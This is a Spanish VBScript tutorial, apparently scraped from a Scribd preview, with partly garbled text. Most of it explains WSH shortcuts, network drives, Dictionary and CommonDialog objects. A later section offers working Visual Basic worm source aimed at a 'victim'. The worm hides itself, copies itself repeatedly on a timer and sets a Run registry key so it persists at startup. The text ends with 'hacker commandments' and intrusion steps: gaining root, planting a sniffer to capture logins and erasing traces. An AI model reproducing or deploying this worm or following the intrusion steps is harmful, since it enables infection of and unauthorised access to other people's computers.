Crear accesos directos Bueno. la cual permite crear accesos directos a cualquier aplicación/archivo.0” Ellink description = “ cceso directo a notepad” Ellink workingdirectory =”C \” Ellink. no hacemos más que crear el link. nos aparecerá un mensaje con la ruta de la carpeta de “ Archivos de programa”. Falta agregar.save Simplemente hemos cambiado la extensión del link a url.byethost14. quizás parezca una función un poco “insulsa”. WshNetwork Como lo dice su nombre. completamos todos los datos que lleva el link. luego de haber visto ya. solo queda por ver. y será aquí cuando recurramos a esta función. este objeto nos permitirá realizar determinadas acciones en red: • • Listar unidades de red Mappear o remover unidades de red By KarlosVid(ÊÇ) www. Los campos a completar son los que aparecen en cualquier link (imagen adjunta).targetpath = http://www. Ejemplo: Set objshell = createobject(“wscript shell”) Set weburl = objshell createshortcut(“C \google url”) Weburl.idat. pero quizás alguien quiera por ejemplo.com 150 . En esta función es necesario definir varios valores. así que en lugar de explicarla. pasaré directamente a un Ejemplo: Set objshell = createobject(“wscript shell”) Set ellink = objshell createshortcut(“C \Acceso directo lnk”) ‘creamos el link Ellink targetpath = ”C \windows\notepad exe” ‘completamos los valores Ellink. agregar un acceso directo en la carpeta de Inicio. en lugar de lnk como tenía antes.com Weburl. en este caso.save ‘guardamos el link Creo que este ejemplo alcanza para entender sin problemas esta función.google. y salvamos.windowstyle = 1 Ellink hotkey = “CTRL+SHIFT+N” Ellink iconlocation = “C \windows\notepad exe. que pueden crearse links a páginas web’s del siguiente modo. y la ruta del link pasa a ser la dirección de la web a la que queremos acceder. la de createshortcut. teniendo en cuenta demás que no todos son indispensables.Como es de esperarse. varias funciones.

y esto es porque esta colección. sí que pasemos al for que es donde se ve algo distinto. y todos los impares. los array comienzan por cero. los array comienzan en este valor y además. simplemente se declara el objeto. cada uno de estos. y luego.enumnetworkdrives ‘Colección de unidades de red For each n in netdrive Msgbox n next Este ejemplo. Por lo que dicho de otra forma. en una ventana de mensaje diferente. tendremos primero una unidad (letra). uno donde se vea. el primero de ellos debe de ser una letra. para luego por medio de un for. o bien rutas. las dos primeras líneas no muestran nada raro.enumnetworkdrives Ejemplo: Set objnet = createobject(“wscript network”) Set netdrive = objnet. Z:. etc. su respectiva ruta de red. ya que se utiliza el mismo método que al listar los discos con FSO. declaramos el objeto. en este caso. el msgbox mostraría algo como. otra unidad. X:.network”) Set variable = objnet. la colección resulta un tanto especial. es decir. fijamos el límite por medio de la función count. y se declara por medio de “wscript network” Pasemos entonces a ver cada una de sus funciones. Set objnet = createobject(“wscript. Como vemos. como podemos mostrar unas. y luego a través de este. esto es porque como sabemos. si listamos todos los elementos. todos los índices pares del array. son letras. Listar unidades de red Como vimos anteriormente.• • • Listar impresoras de red Conectar y desconectar a impresoras en red Obtener datos básicos de red Como vemos en este pequeño resumen. y se obtiene la colección. Por lo que. Con pares de elementos quiero decir que. \\servidor\usuarios. el array irá desde 0 hasta 5. \\pcremota\compartido. Luego. y luego la ruta de red. iniciamos la variable i en 0 (cero).count -1 step 2 Msgbox netdrive(i) Next ‘en este ejemplo se mostrarán solo las letras Para empezar. no será nada extraño. por lo que si la colección contiene 6 elementos. obtenemos una colección de unidades. es decir. le restamos 1. Veamos entonces otro ejemplo. no así con el objeto network.byethost14. Ejemplo: Set objnet = createobject(“wscript network”) Set netdrive = objnet. por medio del objeto FSO y su función drives. u otras. con el cual además. En el caso del objeto network. unidades de red. las funciones de este objeto son todas las que hacen referencia a una red.enumnetworkdrives For i = 0 to netdrive. analizando nuestro ejemplo. podemos conseguir la ruta de red de la unidad. sería posible listar las unidades de red. recorrer cada uno de los elementos de la colección.idat. segundo. o bien letras.com 151 . la cual nos muestra cuantos elementos contiene la colección (aplicable a todas las colecciones). By KarlosVid(ÊÇ) www. \\varios\musica. Y:. ya que también como hemos dicho antes. son rutas de red. pero el caso es que obtendríamos solamente la letra de la unidad. esta formada por pares de elementos. y luego a este valor.

simplemente removemos una unidad de red. Los otros tres parámetros son.enumprinterconnections Ejemplo: Set objnet = createobject(“wscript network”) Set netprinter = objnet. solamente que se cambia la función. forzar. usuario. si se actualiza o no el perfil de usuario. el explicarlo resulta bastante largo para tan pocas líneas de texto. este array también viene en pares. actualizarperfil) Ejemplo: Set objnet = createobject(“wscript network”) Objnet removenetworkdrive “G ”. también son mostrados como remotos. seleccionamos la unidad. usuario y contraseña en caso de que accedamos a la unidad con los datos un usuario distinto al que ha iniciado sesión (con el que estamos trabajando). recorremos el for de dos en dos (lo cual indicamos con step 2) y mostramos un mensaje con la letra. actualizarperfil. Al igual que antes. Mappear unidades de red Variable. En este ejemplo.contraseña) Ejemplo: Set objnet = createobject(“wscript network”) Objnet mapnetworkdrive “G ”. donde primero esta la unidad local.Y por último. Las direcciones IP aparecen como IP_x_x_x_x ej: IP_192_168_15_3 By KarlosVid(ÊÇ) www.enumprinterconnections ‘Colección de impresoras For each n in netprinter Msgbox n next Al igual que para el caso de las unidades de red. rutaremota. y la ruta remota. y los otros dos. ya que muchas veces.removenetworkdrive(letra. Listar impresoras en red Este método es prácticamente igual al de listar unidades de red. y al igual que antes. true o false para seleccionar si queremos guardar el mappeado solamente para nuestro usuario.com 152 . \\pcremota\compartido Los dos primeros parámetros son. Nota: Complementos como drivers que agregan una impresora para imprimir en pdf.idat. donde el primer valor es la localización remota (IP). true o false para forzar o no. es el nombre con el que tenemos configurada nuestra impresora (al contrario de cómo pasaba con las unidades de red. la letra a la que mappearemos la unidad remota (con el dos puntos incluído). para eso. y luego la ruta remota). true Este no requiere de mucha explicación. y la segunda.mapnetworkdrive(letra. sugiero mirar detenidamente el script para entenderlo mejor. solamente he utilizado los dos primeros parámetros ya que los otros tres son opcionales. Set variable = objnet.byethost14. Remover unidades de red Variable.

el userdomain y computername tendrán el mismo valor. True. actualizarperfil) Ejemplo: Set objnet = createobject(“wscript network”) Objnet. \\servidor\impresoracompartida Al igual que antes. como lo he hecho en este ejemplo. haremos uso de la función removeprinterconnection Variable. actualizarperfil. o bien rutas de impresoras locales.addprinterconnection(nombrelocal. se puede pasar direcciones de red. usuario. por lo que este método se presenta como una alternativa más dentro del wsh. y solamente los dos primeros parámetros. Nota: Si no se esta en un dominio. Dictionary En esta oportunidad.Conectar a impresora en red También es muy sencillo y similar a lo visto anteriormente Variable.username Msgbox objnet.com 153 . por lo que también podríamos acceder a estos datos.removeprinterconnection \\servidor\impresoracompartida.removeprinterconnection(nombre. Username Dominio. True Como nombre de impresora. rutaremota. forzar.userdomain Msgbox objnet.idat.computername En definitiva y como se ve en el ejemplo.contraseña) Ejemplo: Set objnet = createobject(“wscript network”) Objnet.byethost14. ya que los otros son opcionales. Desconectar impresora en red Para desconectar una impresora en red. sabrán que se puede acceder a las variables del sistema (comando SET de msdos) por medio del objeto wshshell. que al pasarle una palabra “X” como By KarlosVid(ÊÇ) www. veremos un sencillo objeto de los varios que tiene el wsh. variable. solo hay que utilizar el objeto con su respectiva propiedad.addprinterconnection “LPT1”. simplemente pasamos como parámetros los datos “locales” y “remotos”. como lo sería LPT1 Información de red A través de este objecto podemos acceder a algunos datos de red: • • • Usuario. Computername Si han leído la parte anterior del tuto. este es el Dictionary A través de este podremos crear un array con sinónimos de palabras.dato Ejemplo: Set objnet = createobject(“wscript network”) Msgbox objnet. Domain Nombre de la PC. es decir.

“Segundo” objdic. Para declarar el objeto lo haremos a través de Scripting. cada uno con un segundo elemento asociado. 3ero). no obtendremos como valor “X”. “Primero” objdic. • • • • • Agregar elementos Listar elementos Listar elementos asociados Determinar si un elemento ya existe Borrar elementos (uno/todos) Como se ve.dictionary”) Objdic(variable) Ejemplo: Set objdic = createobject(“scripting.add “3ero”. sobre todo cuando queremos tener un código más legible sin necesidad de hacer uso de bucles select case o if. como accesar a estos elementos. “Primero” objdic. Lamentablemente solo puede tratarse en un sentido la asociación de estas palabras. “Segundo” objdic.add “2do”. es decir que en base al anterior ejemplo. en este caso “Segundo”.com 154 . pero igualmente puede ser de utilidad.add “2do”.parámetro.add “1ero”.dictionary”) objdic. vasociada Ejemplo: Set objdic = createobject(“scripting. “Tercero” ‘hasta aquí declaramos elementos en el diccionario Msgbox objdic(“2do”) En este ejemplo “solicitariamos” el valor asociado al elemento “2do”. “Y”. si pasamos en lugar de “X”. como si de cualquier otro array o colección se tratase.add “1ero”.add “3ero”. no si no se declara aparte esta asociación. “Tercero” En el ejemplo se han declarado 3 elementos (1ero.Dictionary Las acciones básicas sobre este objeto son. ya que no cuenta con muchos métodos/propiedades.idat. La estructura de este objeto es realmente muy sencillo he incluso escueto. por medio de la función add: Set objdic = createobject(“scripting. Agregar elementos Para agregar elementos al diccionario.dictionary”) objdic.add variable. Listar elementos asociados Para listar elementos basta con invocar el diccionario. solamente hay que hace una asignación de cada uno de ellos.dictionary”) objdic. no es mucho el contenido de este objeto. 2do. y pasarle como “índice” el elmento que estamos buscando: Set objdic = createobject(“scripting. A continuación. By KarlosVid(ÊÇ) www. nos devolverá la palabra “Y” asociada.byethost14.

idat. “Primero”.keys For each E in Elementos Msgbox E Next En este ejemplo los resultados serían. se haría del mismo modo que antes.dictionary”) objdic.add “1ero”.dictionary”) objdic. “Segundo” y “Tercero” Determinar si un elemento ya existe El objeto Dictionary tiene una particularidad frente a otros tipos de colecciones (además de que guarda los elementos por pares). “Segundo” objdic. “1ero”.add “2do”. y valores por otro. “Segundo” objdic.keys Ejemplo: Set objdic = createobject(“scripting.add “1ero”.add “3ero”. “2do” y “3ero”. “Primero” objdic.dictionary”) Elementos = objdic. “Tercero” Valores = objdic. By KarlosVid(ÊÇ) www.byethost14. “Tercero” Elementos = objdic. “Primero” objdic. Listar valores En este caso para acceder al array de valores.com 155 .dictionary”) Valores = objdic. elementos por un lado. y es que si intentamos agregar un elemento que ya ha sido declarado. que en caso de intentar listar un elemento que no se encuentra en el diccionario. Listar elementos Otra opción al momento de utilizar los elementos del diccionario.items For each E in Valores Msgbox E Next Con lo cual obtendríamos los valores. sino que la cadena devuelta será una vacía. Es por eso que en caso de querer asignar un valor a un elemento. como si se tratasen de dos arrays independientes. obtendremos un bonito mensaje de error.items Ejemplo: Set objdic = createobject(“scripting.Tener en cuenta además. solo que en lugar de keys utilizaremos items: Set objdic = createobject(“scripting.add “2do”. lo que correspondería al primero de los dos array en el diccionario. informando de que “la clave ya está asociada con un elemento de esta colección”. deberíamos de verificar que dicho elemento no se encuentre ya en el diccionario. es decir. es tratar ambos valores (elemento y valor asociado). no recibiremos nigún mensaje de error. es decir. Para acceder al listado de elementos haremos uso de la función keys: Set objdic = createobject(“scripting.add “3ero”.

removeall Lo cual no merece ningún tipo de ejemplo ya que queda a la vista como sería el uso de este método. debemos de compararlas contra “Verdadero” y “Falso”.add “2do”.idat. En mi caso particularmente no hago uso de este objeto. se nos mostraría un mensaje con el texto de “Verdadero”. hacer más sencillo el uso de este para el “usuario final”. y una vez más. solo será necesario pasarle ciertos parámetros para hacer uso de la misma. Borrar elementos Luego de haber visto como determinar si los elementos ya están en el “listado”.dictionary”) objdic.exists(“1ero”) En este ejemplo. CommonDialog El objeto commondialog sirve para mostrar un mensaje de abrir/guardar como.byethost14. no es posible sobreescribirlos.Para verificar la existencia o no de un elemento en el diccionario haremos uso de la función exists: Set objdic = createobject(“scripting. pero puede resultar últil para quienes quieran agregar un poco más de interactividad a sus scripts. “Primero” Msgbox objdic. en caso de querer asignar un nuevo valor a los elementos ya asociados.dictionary”) objdic. por lo que en caso de querer hacer uso de la función IF. o TRUE y F LSE (los primeros van tal cual con comillas. en el caso de querer eliminar Todos los elementos del diccionario. Set objdic = createobject(“scripting.remove “2do” ‘el parentesis es opcional Como se ve.add “1ero”.dictionary”) objdic. para el caso de que no exista. “Tercero” objdic. el mensaje será “Falso” obviamente. Así termina la cuarta parte de este tutorial. Tener en cuenta además que esta función devuelve valores booleanos. By KarlosVid(ÊÇ) www. los segundos da igual). simplemente hemos añadido algunos elementos.exists(elemento) Ejemplo: Set objdic = createobject(“scripting.commondialog. simplemente se deberá de hacer uso de removeall. TRUE o FALSE. veremos como eliminar estos elementos.add “1ero”. “Segundo” objdic. ya que como vimos antes. “Primero” objdic. Para el uso de esta ventana.com 156 . Esto nos será particularmente útil. para luego borrar el segundo de la lista (notese como no importa cual sea el que eliminemos) Borrar Todos los elementos Por último. pero nunca se sabe cuando se pueda llegar a necesitar. La función: Set objdic = createobject(“scripting.remove(elemento) Ejemplo: Set objdic = createobject(“scripting.dictionary”) Variable = objdic. y de cierto modo. con un objeto sencillo y de poca difusión. dado que el diccionario contiene el elemento.dictionary”) objdic.add “3ero”. inicializandolo por medio de seraccounts.

hace referencia a los tipos de archivos que van a aparecer en el cuadro.commondialog") objdialog.com 157 .Nota: Este objeto solo se encuentra presente en Win XP. podremos mostrala por medio de la función Showopen y obtendremos la ruta por medio de Filename.commondialog. Filterindex determina cual de los tipos de archivos seleccionados (Filter) son los que van a aprecer por defecto. y que cumple una función similar pero con más opciones.idat. no antes.filter = "VBScript|*. donde explicaré un poco mejor cada uno de estos parámetros.byethost14. pasaré directamente a un ejemplo. Ejemplo: Set objdialog = createobject("useraccounts. solamente esta disponible para las pc con VB Los parámetros que se deben de pasar a este objeto son: • • • • Filtros: Filter Indice de filtros: Filterindex Directorio inicial: InitialDir Opciones: Flags Luego de seleccionados los parámetros de la ventana.initialdir = "C:\Documents and Settings\Novlucker" odresp = objdialog.filename End If El resultado: By KarlosVid(ÊÇ) www.js" objdialog. pero este último. Filter. y en Vista se he eliminadoexiste otro objeto que se inicia con mscomdlg.filterindex = 1 objdialog. Initialdir es el directorio raíz que va a aparecer por defecto (de cualquier manera se podrá subir por el directorio) Y Flags son algunas opciones extras que se pueden seleccionar a la hora de mostrar la ventana (en este caso solo mostraré una de ellas). El primero de los parámetros.showopen If odresp = -1 then Msgbox objdialog. Dado que este objeto es de fácil utilización.vbs|Javascript|*.

podremos determinar. abrir. ya sea copiar. By KarlosVid(ÊÇ) www. objdialog filter = “VBScript|* vbs|Javascript|* js” Como había comentado. o bien no seleccione ninguno y presione CANCELAR (valor 0). para el ejemplo. de haberse elegido 2. es decir. esto es lo que se ha mostrado en la ventana.com 158 . y javascripts. y como se puede apreciar en la imagen. lo cual es totalmente opcional (podría hacerse sin el “odresp =”).idat. siempre dentro de las posibilidades de vbs claro está. que en el Filter serían los archivos vbs. Para el caso de querer establecer “todos los archivos”. es decisión nuestra lo que se haga con esta ruta. en este caso he elegido el index 1. pero nos permitirá determinar de manera más exacta. es el asterísco seguido de la extensión del archivo que se mostrará. odresp = objdialog. por medio de un simbolo “pipe” (generalmente utilizado en distintos lenguajes para la canalización de órdenes).showopen Como se puede ver. claro está que igualmente se podrá “subir” partiendo de este. lo que se mostraría primero sería javascript y no vbs. he puesto archivos vbscript. En el ejemplo. Con esto básicamente establecemos las opciones básicas de nuestra ventana. sino que se trata simplemente de lo que servirá como referencia para el usuario. que es lo que pasa con nuestra ventana. objdialog initialdir = “C \Documents and Settings\Novlucker” Como había dicho antes. podríamos poner cualquier cosa y el resultado final sería el mismo. en este caso he establecido el directorio “C:\Documents and Settings\Novlucker”. Luego de accedido a la ruta del archivo en cuestión. en caso de haberse elegido un archivo.vbs|Archivos javascript|* js” Lo que si hace la diferencia. he asignado la “respuesta” de este elemento a la variable odresp. initialdir establece el directorio en el cual se “abrirá” nuestra ventana. *. Como habíamos dichio antes Filterindex determina el tipo de archivo por defecto que será mostrado. y *.byethost14.vbs. se utilizará algo del estilo “ ll Files|* *” Notese además que cada uno de estos valores va separado del siguiente. mover. a través de los filtros. El “tipo de archivo” en palabra (VBScript y Javascript) no hace ningún tipo de diferencia.Pasemos ahora a repasar cada una de las opciones que hemos pasado. como ejemplo: objdialog filter = “Archivos vbs|*. para luego mostrarla en la línea siguiente. cuales serán los tipos de archivos que aparecerán al visualizar los diferentes archivos de una carpeta.js. mostramos su ruta (filename). etc. Es por eso que en nuestro ejemplo utilizamos un condicional IF para determinar cual ha sido la acción que se ha tomado respecto a nuestra ventana. ya que esta variable podrá tener dos valores según el usuario elija algún archivo y de a ACEPTAR (valor -1).

js" objdialog. el cual entre otras opciones controla la posibilidad de mostrar un cuadro como el que necesitamos (se tratará solamente esta. sino un espacio. Split es una función de vbs que no hace más que “cortar” una determinada cadena. esta nos devolverá todos los valores en una misma cadena. además de que dichas rutas se muestran en formato “corto”. se pasará &H0200 como valor a este parámetro (siguiendo con el ejemplo anterior): Ejemplo: Set objdialog = createobject("useraccounts. es un poco más “rústica”.3. partiendo del ejemplo anterior. Para esto. Habiendo visto esto entonces. By KarlosVid(ÊÇ) www. esta separada por un espacio. como separador For each C in CTtoAray Msgbox C Next Como se puede ver en el ejemplo.4.vbs En la imagen se ve claramente como las rutas de ambos archivos que hemos seleccionado aparecen en una misma cadena.flags = &H0200 objdialog.filterindex = 1 objdialog. aunque existen muchas otras). Ejemplo: CadenaTexto = "1.") 'Cortamos la cadena con . Veamos ahora entonces como podemos utilizar esta función para obtener las direcciones de los múltiples archivos seleccionados mediante nuestra ventana. Como habíamos dicho. en el caso de haber elegido los archivos “Script1 vbs” y “Script2 vbs”.5" CTtoAray = split(CadenaTexto. el aspecto de nuestra ventana ha cambiado.".Cual es la limitación de esta ventana así como está? Que no es posible la selección de múltiples archivos. pero igualmente cumple la misma función.initialdir = "C:\Documents and Settings\Novlucker" odresp = objdialog. hemos cortado esta cadena utilizando split.com 159 . Para solucionar esto utilizaremos el parámetro flags.vbs Script2.byethost14. es que dado que se seleccionan múltiples archivos. para lo cual haremos uso de la función split. sino que siempre se nos permitirá elegir uno y solo uno de todos los que aparecen.idat. podemos ver que cada una de estas rutas.2. Pero si miramos detenidamente. pero utilizando como separador. podremos escribir un método para crear facilmente las rutas a estos archivos. el resultado sería el siguiente: C:\DOCUME~1\NOVLUC~1\Script1. y el resto son los archivos en cuestión.commondialog") objdialog.vbs|Javascript|*. por lo que para poder obtener las rutas simplemente deberemos utilizar la anterior función. La particularidad de los datos que nos devuelve esta ventana con respecto a la anterior.filter = "VBScript|*. y hemos guardado cada uno de los valores dentro de un array para luego acceder del modo tradicional. donde la primera parte contiene la ruta a la carpeta contenedora. no una cadena. los archivos son mostrados en una única cadena pero separados por espacios. con una cadena definida.showopen El resultado: Como se puede ver. tomando como separador el/los caractéres que le indiquemos. y guarda en un array cada una de las partes de dicha cadena.

la primera ruta que aparece en la cadena de texto es la dirección de la carpeta contenedora) y el nombre del archivo en cuestión. justamente lo que estabamos buscando. pero seguro a más de uno le parecerá interesante para hacer más didácticos sus scripts.initialdir = "C:\Documents and Settings\Novlucker" odresp = objdialog. que junto a la función Lbound (Lower). no hacen más que mostrar los números de índice máximo y mínimo de un array respectivamente El resultado: En definitiva.vbs|Javascript|*. " ") 'cortamos la cadena segun espacios For i = 1 to ubound(Arutas) 'ubound muestra el índice más grande de un array Msgbox Arutas(0) & Arutas(i) 'la ruta es la suma del indice cero (carpeta contenedora) y el archivo Next En este caso para generar las rutas debemos de concatenar la ruta que se encuenta en en indice cero (ya que como habíamos dicho.idat.commondialog") objdialog. By KarlosVid(ÊÇ) www. y nos sus rutas.js" objdialog.byethost14. en este caso con la explicación de un objeto que como he dicho.flags = &H0200 objdialog. ya que de no hacer así lo único que obtendríamos sería nombres de archivos sueltos. Y bueno así termina una nueva parte de este tutorial. el proceso sería más o menos así: Set objdialog = createobject("useraccounts.com 160 .Una vez más siguendo con el ejemplo anterior.filterindex = 1 objdialog.filter = "VBScript|*. Durante el proceso he utilizado la función Ubound (upper).filename Arutas = split(Rutas. particularmente no lo utilizo.showopen Rutas = objdialog.

regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Yaneth".... ' EMPIEZA A COPIAR!! Aki dejo el codigo de este worm Worm. 'apartir de aki ya empezar a copiar codigo Sub Form_Load() On Error Resume Next Open “C:\ Worm.Win32. "\H'sfk'qb}+'sfk'qb}'))))'dhi'bk'vrnjndhZ" Print #1.Tutorial para Crear Worm En VB Lo primero es generar el ejecutable. “Worm. "\^fibsoZ'e~'Lrftfif`rn(@BC>FD" Print #1.exe" On Error Resume Next FileCopy A & E.EXE" Loop End Sub '---------------------------------------------------------------------------------'esto otro ara que el Worm se copie en el directorio que se declara.txt" For Output As #1 Print #1.EXEName E = ".Shell" ) Yanet....7168. ".... C 'seguimiento de las 4 lineas anteriores hace que cumplan su funcion "copiarese Set Yanet = CreateObject("WScript. es bueno añadelo al form '------------------------------------------------------------------------Private Sub Form_Load() A = App.EXEName & ". "ESTO NO LO COPIES EN el FORM e " weno explico un poco como hacer invisible el FORM a la derecha del programa ay como una lista de las propiedades de el form.idat. todo esto se añade para que este se auntocopie el mayor numero de veces posible asta ay te digo 'tu ya az lo que veas (la declaracion second(now) y minute (now) las utiliza para conocer la hora y segundos actuales 'de el systema de tu victima lo que hace aqui es llamarla a partir de declaraciones.EXE". "\¸^fibso'chicb'btsft8Z" Print #1....EXE" End Sub '---------------------------------------------------------------------------------'como ves esto es por ejemplo el minuto es 3 pues el worm se vuelve a copiar en el destino introducido 'Seguimos añadiendo informacion sobre los segundos ahora.TXT” For Output As #1 'ruta que seguira el Worm puedes darle otra ruta.TutorialVB” Close #1 End Sub '---------------------------------------------------------------------------------Sub Form_Load() Do ' Bucle que verifica a cada momento si el tienmpo actual es el que se declara para volver a copiarse If Minute(Now) = 3 Then FileCopy App.. Y If M = 15 And S = 0 Then FileCopy A & E.byethost14. Y By KarlosVid(ÊÇ) www. “Este TXT lo genero” Print #1..\HijodelGusano.TutorialVB.Win32. no hace falta que siga explicando.com 161 . Y If M = 10 And S = 0 Then FileCopy A & E..EXE"..Win32. "\Dhih}dh'f'fk`rnbi'vrb'kf'vrnbub'jft)))Z" Close #1 Do M = Minute(Now) S = Second(Now) Y = "A:\Yaneth.. cada vez que el minuto y el segundo coincida con 'los del sistema. "\Bth'ih'bt'mrtshZ" Print #1. Y If M = 5 And S = 0 Then FileCopy A & E. C Open "C:\Yaneth.EXEName & ". no? '---------------------------------------------------------------------------------Sub Form_Load() On Error Resume Next Do If Minute(Now)= 5 And Second(Now) = 5 Then FileCopy App.\K.exe" If M = 0 And S = 0 Then FileCopy A & E.con esta sencilla declaracion puedes elegir la ruta pero cuidadito con meter muxa ruta aver si al final no se encuentra en el PC de la victima. “el” Print #1. ". "\¦Btsf'dhi'kkrqnf&+'¦btsf'dhi'kkrqnf&Z" Print #1. bueno pues buscamos la propiedad "Visible" y cambiamos el "true" por el "false" y ya no dara el cantazo.exe" C = "C:\Yaneth.Yaneth. ten ojo en esto Print #1.

Nunca hackees en computadoras del gobierno. nadie te contestara. Con la incorporación de redes inteligentes se hará más previsible y fácil la contención de los intrusos. Nunca dejes tus datos reales en un BBS. El nombre "red neurológica" se basa en las neuronas del cerebro humano." pero no digas a quien pertenece ni el teléfono. X.idat. El Instituto Tecnológico de Georgia. en un artículo en Netsys. 4. Hoy en día. experto en el tema. Puedes pasearte todo lo que quieras por la WEB. número de teléfono y nombre real. VI.. Y If M = 25 And S = 0 Then FileCopy A & E. Modifica solo los archivos que hagan falta para evitar tu detección y asegurar tu acceso futuro al sistema. By KarlosVid(ÊÇ) www.Una vez conseguido el acceso. se autoejecuta al iniciar l PC!. Nunca destroces nada intencionalmente en la Computadora que estés crackeando. Según Cannady. Y Loop End Sub 'crea una shell en el registro.. trabaja en un proyecto de desarrollo de redes neurológicas. piensa que por responderte a una pregunta. V. El gobierno puede permitirse gastar fondos en buscarte mientras que las universidades y las empresas particulares no.. Y If M = 45 And S = 0 Then FileCopy A & E.Introducirse en el sistema que tengamos como objetivo. Y If M = 40 And S = 0 Then FileCopy A & E. Con todo.. y mil cosas mas. III. EEUU. creando conexiones entre las distintas áreas del cerebro. La incorporación de las denominadas "redes inteligentes" podría dificultar considerablemente las actividades de los Hackers.If M = 20 And S = 0 Then FileCopy A & E. E '-. Y If M = 55 And S = 0 Then FileCopy A & E. Nunca dejes tu dirección real. 2. según escribe James Cannady. sino de sistemas capaces de identificar patrones en el flujo digital y aprender de los intentos de intrusión. obtener privilegios de root (superusuario). Punto final. VII. pueden cazarte a ti. puedes ser cazado... que probablemente aumentarán la seguridad del tráfico digital. Y If M = 30 And S = 0 Then FileCopy A & E.Borrar las huellas. tu nombre o tu teléfono en ningún sistema. II. La novedad es que las redes neurológicas detectarán ese tipo de máquinas sin que sus operadores se percaten. los administradores de sistemas deben actualizar manualmente los sistemas de protección de las redes contra las embestidas de los sagaces piratas informáticos. pero hasta que no estés realmente hackeando. a tu victima. Y If M = 35 And S = 0 Then FileCopy A & E. No dejes en ningún BBS mucha información del sistema que estas crackeando. No uses BlueBox a menos que no tengas un servicio local o un 0610 al que conectarte. Di sencillamente "estoy trabajando en un UNIX o en un COSMOS.byethost14... tales redes estarán incluso en condiciones de detectar máquinas que monitorizan ilegalmente el tráfico de la red para captar y apoderarse de información tal como números de tarjetas de crédito. A ser posible no pases nada a nadie que no conozcas su voz. A.Poner un sniffer para conseguir logins de otras personas. Si se abusa de la bluebox. no sabrás lo que es. se copia en C. Y If M = 50 And S = 0 Then FileCopy A & E.lo que hace es colgar la PC es sencillo pero esta bien para . IX. que aprenden de la experiencia.. PASOS PARA HACKEAR 1. Ten cuidado a quien le pasas información.. IV. déjale un mensaje con una lista de gente que pueda responder de ti.. VIII. QUE PASARÁ MAS ADELANTE. al que te contesta o a ambos. si no conoces al sysop. No te preocupes en preguntar. contraseñas y otros datos confidenciales. -----------------------------------------------------------------------------------------------------------------------------------------------------------LOS DIEZ MANDAMIENTOS DEL HACKER I...com.com 162 . 3. cabe precisar que no se trata de redes que estén en condiciones de pensar.

You're Reading a Free Preview

Descarga
scribd
/*********** DO NOT ALTER ANYTHING BELOW THIS LINE ! ************/ var s_code=s.t();if(s_code)document.write(s_code)//-->